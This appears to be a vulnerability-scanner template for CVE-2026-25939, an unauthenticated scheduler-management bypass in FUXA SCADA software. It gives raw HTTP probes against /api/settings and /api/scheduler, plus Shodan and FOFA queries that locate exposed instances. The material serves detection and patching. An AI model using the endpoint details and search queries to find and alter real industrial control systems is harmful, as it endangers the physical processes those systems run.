CVE-2026-25939: FUXA - Authorization Bypass

id: CVE-2026-25939

info:
  name: FUXA - Authorization Bypass
  author: theamanrawat
  severity: critical
  description: |
    FUXA 1.2.8 through 1.2.10 contains an authorization bypass caused by improper access control in scheduler management, letting unauthenticated remote attackers create and modify schedulers, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can create and modify schedulers, potentially compromising connected ICS/SCADA environments.
  remediation: |
    Upgrade to version 1.2.11 or later.
  reference:
    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-c869-jx4c-q5fc
    - https://github.com/frangoteam/FUXA/commit/5782b35117a9bd14ffcb881f8dfb8c6680157d9b
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25939
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-25939
    epss-score: 0.12536
    epss-percentile: 0.96266
    cwe-id: CWE-862
  metadata:
    max-request: 2
    vendor: frangoteam
    product: fuxa
    shodan-query: 'http.title:"FUXA"'
    fofa-query: 'title="FUXA"'
  tags: cve,cve2026,fuxa,auth-bypass,scada,ics,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"secureEnabled\":true", "FUXA")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/scheduler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "\"error\":\"Missing scheduler id or data in request body\"")'
        condition: and
# digest: 490a0046304402206b90f73124f99d5c6c5ad9c5a6ffc8afc021128939435b46c648517555632c9702201fd744716da12570444e93c90a75738385e7721b88c74ff86fe581438671701c:922c64590222798bb761d5b6d8e72950

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